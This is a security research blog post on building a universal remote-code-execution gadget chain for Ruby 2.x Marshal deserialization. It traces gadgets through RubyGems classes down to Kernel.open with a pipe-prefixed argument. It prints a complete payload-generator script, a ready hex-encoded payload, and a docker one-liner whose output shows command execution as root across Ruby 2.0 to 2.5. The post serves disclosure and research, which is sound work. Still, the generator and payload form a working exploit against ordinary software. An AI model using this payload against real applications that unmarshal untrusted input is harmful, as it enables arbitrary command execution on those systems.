Ruby 2.x Universal RCE Deserialization Gadget Chain

Introduction

This blog post details exploitation of arbitrary deserialization for the Ruby programming language and releases the first public universal gadget chain to achieve arbitrary command execution for Ruby 2.x. This will be described in the following sections which detail deserialization issues and related work, discovery of usable gadget chains, and finally exploitation of ruby serialization.

Background

Serialization is the process of converting an object into a series of bytes which can then be transferred over a network or be stored on the filesystem or in a database. These bytes include all the relevant information required to reconstruct the original object. This reconstruction process is called deserialization. Each programming language typically has it’s own distinct serialization format. Some programming languages refer to this process by a name other than serialization/deserialization. In the case of Ruby, the terms marshalling and unmarshalling are commonly used.

The Marshal class has the class methods “dump” and “load” which can be used as follows:

$ irb
>> class Person
>>   attr_accessor :name
>> end
=> nil

>> p = Person.new
=> #<Person:0x00005584ba9af490>

>> p.name = "Luke Jahnke"
=> "Luke Jahnke"

>> p
=> #<Person:0x00005584ba9af490 @name="Luke Jahnke">

>> Marshal.dump(p)
=> "\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET"

>> Marshal.load("\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET")
=> #<Person:0x00005584ba995dd8 @name="Luke Jahnke">

The problems with deserialization of untrusted data

A common security vulnerability occurs when a developer incorrectly assumes that an attacker cannot view or tamper with a serialized object as it is an opaque binary format. This can result in any sensitive information stored within the object, such as credentials or application secrets, being disclosed to an attacker. It also frequently results in privilege escalation in the case of the serialized object having instance variables which are subsequently used for permission checks. For example, consider a User object, containing a username instance variable, that is serialized and may be tampered with by an attacker. It is trivial to modify the serialized data and change the username variable to a username of a higher privileged user, such as “admin”. While these attacks can be powerful, they are highly context sensitive as well as being unexciting from a technical point-of-view and are not discussed further in this blog post.

Code reuse attacks are also possible where pieces of already available code, called gadgets, are executed to perform an unwanted action such as executing an arbitrary system command. As deserialization can set instance variables to arbitrary values, this allows an attacker to control some of the data that gadgets operate on. This also allows an attacker to use a gadget to invoke a second gadget, as methods are frequently called on objects stored in instance variables. When a series of gadgets have been linked together in this manner, it is called a gadget chain.

Previous payloads

Insecure deserialization is in the eighth spot in the OWASP Top 10 Most Critical Web Application Security Risks for 2017 but limited details have been published on constructing gadget chains for Ruby. However, a good reference can be found in the Phrack paper Attacking Ruby on Rails Applications, where joernchen of Phenoelit describes in section 2.1 a gadget chain discovered by Charlie Somerville that achieves arbitrary code execution. The technique will not be covered again here for brevity, however the pre-requisites are as follows:

1. The ActiveSupport gem must be installed and loaded.
2. ERB from the standard library must be loaded (which Ruby does not load by default).
3. After deserialization, a method that does not exist must be called on the deserialized object.

While these pre-requisites will almost certainly be fulfilled in the context of any Ruby on Rails web application, they are rarely fulfilled by other Ruby applications.

So, the gauntlet has been thrown down. Can we remove all of these pre-requisites and still achieve arbitrary code execution?

Hunting for Gadgets

Since we want to craft a gadget chain that has no dependencies, gadgets can only be sourced from the standard library. It should be noted that not all of the standard library is loaded by default. This significantly limits the number of gadgets we have at our disposal. For example, Ruby 2.5.3 was tested and found to have 358 classes loaded by default. While this seems high, on closer inspection it is revealed that 196 of these classes have not defined any of their own instance methods. The majority of these empty classes are uniquely named descendants of the Exception class used to differentiate catchable exceptions.

The limited number of available classes means it is incredibly beneficial to find gadgets or techniques that increase the amount of standard library that is loaded. One technique is to look for gadgets that when invoked will require another library. This is useful as even though the require may appear to be in the scope of a certain module and/or class, it will in fact pollute the global namespace.

module Gem
...
  def self.deflate(data)
    require 'zlib'
    Zlib::Deflate.deflate data
  end
...
end

If the above Gem.deflate method was included in a gadget chain, the Zlib library from Ruby’s standard library would be loaded, as demonstrated below:

$ irb
>> Zlib
NameError: uninitialized constant Zlib
...

>> Gem.deflate("")
=> "x\x9C\x03\x00\x00\x00\x00\x01"

>> Zlib
=> Zlib

While numerous examples exist of the standard library dynamically loading other parts of the standard library, one instance was identified that attempts to load a third-party library if it has been installed on the system, as shown below:

...
class SortedSet < Set
...
  class << self
...
    def setup
...
          require 'rbtree'

The following figure shows a sample of the extensive locations that will be searched when requiring a library that is not installed, including other library directories:

$ strace -f ruby -e 'require "set"; SortedSet.setup' |& grep -i rbtree | nl
     1	[pid    32] openat(AT_FDCWD, "/usr/share/rubygems-integration/all/gems/did_you_mean-1.2.0/lib/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     2	[pid    32] openat(AT_FDCWD, "/usr/local/lib/site_ruby/2.5.0/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     3	[pid    32] openat(AT_FDCWD, "/usr/local/lib/x86_64-linux-gnu/site_ruby/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...
   129	[pid    32] stat("/var/lib/gems/2.5.0/gems/strscan-1.0.0/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   130	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   131	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.rb", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   132	[pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.so", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   133	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   134	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.rb", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   135	[pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   136	[pid    32] stat("/var/lib/gems/2.5.0/gems/webrick-1.4.2/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
...

A more useful gadget would be one which passes an attacker controlled argument to require. This gadget would enable loading of arbitrary files on the filesystem, thus providing the use of any gadgets in the standard library, including the ERB gadget used in Charlie Somerville’s gadget chain. Although no gadgets were identified that allow complete control of the require argument, an example of a gadget that allows partial control can be seen below:

module Digest
  def self.const_missing(name) # :nodoc:
    case name
    when :SHA256, :SHA384, :SHA512
      lib = 'digest/sha2.so'
    else
      lib = File.join('digest', name.to_s.downcase)
    end

    begin
      require lib
...

The above example was unable to be utilised as const_missing is never called explicitly by any Ruby code in the standard library. This is unsurprising as const_missing is a hook method that, when defined, will be invoked when a reference is made to an undefined constant. A gadget such as @object.__send__(@method, @argument), which allows calling an arbitrary method on an arbitrary object with an arbitrary argument, would evidently allow calling the above const_missing method. However, if we already had such a powerful gadget, we would no longer need to increase the set of available gadgets as it alone allows executing arbitrary system commands.

The const_missing method can also be invoked as a result of a calling const_get. The digest method of the Gem::Package class defined in the file lib/rubygems/package.rb is a suitable gadget as it calls const_get on the Digest module (although any context will also work) with control of the argument. However, the default implementation of const_get performs strict validation of the character set which prevents traversal outside the digest directory.

Another way of invoking const_missing is implicitly with code such as Digest::SOME_CONSTANT. However, Marshal.load does not perform constant resolution in such a way that will invoke const_missing. More details can be found in Ruby issue 3511 and 12731.

Another example gadget which also provides partial control of the argument passed to require is shown below:

class Gem::CommandManager
  def [](command_name)
    command_name = command_name.intern
    return nil if @commands[command_name].nil?
    @commands[command_name] ||= load_and_instantiate(command_name)
  end

  private

  def load_and_instantiate(command_name)
    command_name = command_name.to_s
...
        require "rubygems/commands/#{command_name}_command"
...
    end
  end
...

The above example was also not utilised due to the “_command” suffix and no technique being identified that allowed truncation (i.e. using null bytes). A number of files do exist with the “_command” suffix but these were not explored further as a different technique was found to increase the set of available gadgets. However, an interested researcher may find it interesting to investigate when exploring this topic.

As shown below, the Rubygem library makes extensive use of the autoload method:

module Gem
...
  autoload :BundlerVersionFinder, 'rubygems/bundler_version_finder'
  autoload :ConfigFile,         'rubygems/config_file'
  autoload :Dependency,         'rubygems/dependency'
  autoload :DependencyList,     'rubygems/dependency_list'
  autoload :DependencyResolver, 'rubygems/resolver'
  autoload :Installer,          'rubygems/installer'
  autoload :Licenses,           'rubygems/util/licenses'
  autoload :PathSupport,        'rubygems/path_support'
  autoload :Platform,           'rubygems/platform'
  autoload :RequestSet,         'rubygems/request_set'
  autoload :Requirement,        'rubygems/requirement'
  autoload :Resolver,           'rubygems/resolver'
  autoload :Source,             'rubygems/source'
  autoload :SourceList,         'rubygems/source_list'
  autoload :SpecFetcher,        'rubygems/spec_fetcher'
  autoload :Specification,      'rubygems/specification'
  autoload :Util,               'rubygems/util'
  autoload :Version,            'rubygems/version'
...
end

autoload works in a similar way to require, but only loads the specified file when a registered constant is accessed for the first time. Due to this behaviour, if any of these constants are included in a deserialization payload the corresponding file will be loaded. These files themselves also contain require and autoload statements further increasing the number of files that could provide useful gadgets.

Although autoload is not expected to remain in the future release of Ruby 3.0, the use in the standard library has recently increased with the release of Ruby 2.5. New code using autoload was introduced in this git commit and can be seen in the following code snippet:

require 'uri/common'
autoload :IPSocket, 'socket'
autoload :IPAddr, 'ipaddr'

module URI
...

To assist in exploring this extended set of available gadgets in the standard library, we can load every file registered with autoload with the following code:

ObjectSpace.each_object do |clazz|
  if clazz.respond_to? :const_get
    Symbol.all_symbols.each do |sym|
      begin
        clazz.const_get(sym)
      rescue NameError
      rescue LoadError
      end
    end
  end
end

After running the above code we take a new measurement of how many classes are available for providing gadgets, and find 959 classes loaded, an increase of 658 from the earlier value of 358. Of these classes, 511 have defined at least one instance method. The ability to load these additional classes provides significantly improved conditions to begin our search for useful gadgets.

Initial/Kick-off Gadgets

The start of every gadget chain needs a gadget that will be invoked automatically during or after deserialization. This is the initial entrypoint to execute further gadgets with the ultimate goal of achieving arbitrary code execution or other attacks.

An ideal initial gadget would be one that is automatically invoked by Marshal.load during deserialization. This removes any opportunity for code executed after deserialization to defensively inspect and protect against a malicious object. We suspect it may be possible to automatically invoke a gadget during deserialization as it is a feature in other programming languages such as PHP. In PHP, if a class has the magic method __wakeup defined it will be immediately invoked when deserializing an object of this type. Reading the relevant Ruby documentation reveals that if a class has an instance method marshal_load defined then this method will be invoked upon deserialization of an object of this class.

Using this information we examine every loaded class and check if they have a marshal_load instance method. This was achieved programatically with the following code:

ObjectSpace.each_object(::Class) do |obj|
  all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods

  if all_methods.include? :marshal_load
    method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s

    puts obj
    puts "  marshal_load defined by #{method_origin}"
    puts "  ancestors = #{obj.ancestors}"
    puts
  end
end

Surplus Gadgets

There were numerous gadgets discovered during the research, however only a small selection was used in the final gadget chain. For brevity of this blog post, a few interesting ones are summarised below:

class Gem::Source::Git < Gem::Source
...
  def cache # :nodoc:
...
      system @git, 'clone', '--quiet', '--bare', '--no-hardlinks',
             @repository, repo_cache_dir
...
  end
...

class Gem::Security::Policy
...
  attr_reader :name
...
  alias to_s name # :nodoc:

end

class IPAddr
...
  def to_i
    return @addr
  end
...

module Gem
  class List
    attr_accessor :value, :tail
  end
end

$x = Gem::List.new
$x.value = :@elttam
$x.tail = $x

class SimpleDelegator
  def marshal_dump
    [
      :__v2__,
      $x,
      [],
      nil
    ]
  end
end

ace = SimpleDelegator.new(nil)

puts Marshal.dump(ace).inspect

Building the Gadget Chain

The first step in creating the gadget chain is to build a pool of candidate marshal_load initial gadgets and ensure they call methods on objects we supply. This is very likely to contain every initial gadget as “everything is an object” in Ruby. We can reduce the pool by reviewing the implementations and keeping any that call a common method name on an object we control. Ideally the common method name should have many distinct implementations to choose from.

For my gadget chain I settled on the Gem::Requirement class whose implementation is shown below and grants the ability to call the each method on an arbitrary object:

class Gem::Requirement
  # 1) we have complete control over array
  def marshal_load(array)
    # 2) so we can set @requirements to an object of our choosing
    @requirements = array[0]

    fix_syck_default_key_in_requirements
  end

  # 3) this method is invoked by marshal_load
  def fix_syck_default_key_in_requirements
    Gem.load_yaml

    # 4) we can call .each on any object
    @requirements.each do |r|
      if r[0].kind_of? Gem::SyckDefaultKey
        r[0] = "="
      end
    end
  end

end

Now with the ability to call the each method we require a useful implementation of each to get us closer to arbitrary command execution. After reviewing the source code for Gem::DependencyList (and the mixin Tsort) it was found that a call to it’s each instance method will result in the sort method being called on it’s @specs instance variable. The exact path taken to reach the sort method call is not included here, but the behavior can be verified with the following command which uses Ruby’s stdlib Tracer class to output a source level execution trace:

$ ruby -rtracer -e 'dl=Gem::DependencyList.new; dl.instance_variable_set(:@specs,[nil,nil]); dl.each{}' |& fgrep '@specs.sort'
#0:/usr/share/rubygems/rubygems/dependency_list.rb:218:Gem::DependencyList:-:     specs = @specs.sort.reverse

With this new ability to call the sort method on an array of arbitrary objects, we leverage it to call the <=> method (spaceship operator) on an arbitrary object. This is useful as Gem::Source::SpecificFile has an implementation of the <=> method that when invoked can result in the name method being invoked on it’s @spec instance variable, as shown below:

class Gem::Source::SpecificFile < Gem::Source
  def <=> other
    case other
    when Gem::Source::SpecificFile then
      return nil if @spec.name != other.spec.name # [1]

      @spec.version <=> other.spec.version
    else
      super
    end
  end

end

The ability to call the name method on an arbitrary object is the final piece of the puzzle as Gem::StubSpecification has a name method which calls its data method. The data method then calls the open method, which is actually Kernel.open, with it’s instance variable @loaded_from as the first argument, as shown below:

class Gem::BasicSpecification
  attr_writer :base_dir # :nodoc:
  attr_writer :extension_dir # :nodoc:
  attr_writer :ignored # :nodoc:
  attr_accessor :loaded_from
  attr_writer :full_gem_path # :nodoc:
...
end

class Gem::StubSpecification < Gem::BasicSpecification

  def name
    data.name
  end

  private def data
    unless @data
      begin
        saved_lineno = $.

        # TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open.
        open loaded_from, OPEN_MODE do |file|
...

Kernel.open can be used to execute arbitrary commands when the first character of the first argument is a pipe character (“|”) as outlined in the relevant documentation. It will be interesting to see if the TODO comment directly above the open is resolved soon.

Generating the payload

The following script was developed to generate and test the previously described gadget chain:

#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

The following Bash one-liner verifies the payload successfully executes against an empty Ruby process, showing versions 2.0 to 2.5 are affected:

$ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)

Conclusion

This post has explored and released a universal gadget chain that achieves command execution in Ruby versions 2.0 to 2.5.

As this post has illustrated, intricate knowldge of the Ruby standard library is incredibly useful in constructing deserialization gadget chains. There is a lot of opportunity for future work including having the technique cover Ruby versions 1.8 and 1.9 as well as covering instances where the Ruby process is invoked with the command line argument --disable-all. Alternate Ruby implementations such as JRuby and Rubinius could also be investigated.

There has been some research into Fuzzing Ruby C extensions and Breaking Ruby’s Unmarshal with AFL-Fuzz. After finishing this investigation there appears to be ample opportunity for further research, including manual code review, of the native code implementations of the marshal_load methods shown below:

complex.c:    rb_define_private_method(compat, "marshal_load", nucomp_marshal_load, 1);
iseq.c:    rb_define_private_method(rb_cISeq, "marshal_load", iseqw_marshal_load, 1);
random.c:    rb_define_private_method(rb_cRandom, "marshal_load", random_load, 1);
rational.c:    rb_define_private_method(compat, "marshal_load", nurat_marshal_load, 1);
time.c:    rb_define_private_method(rb_cTime, "marshal_load", time_mload, 1);
ext/date/date_core.c:    rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1);
ext/socket/raddrinfo.c:    rb_define_method(rb_cAddrinfo, "marshal_load", addrinfo_mload, 1);

Thanks for reading, ciao Bella!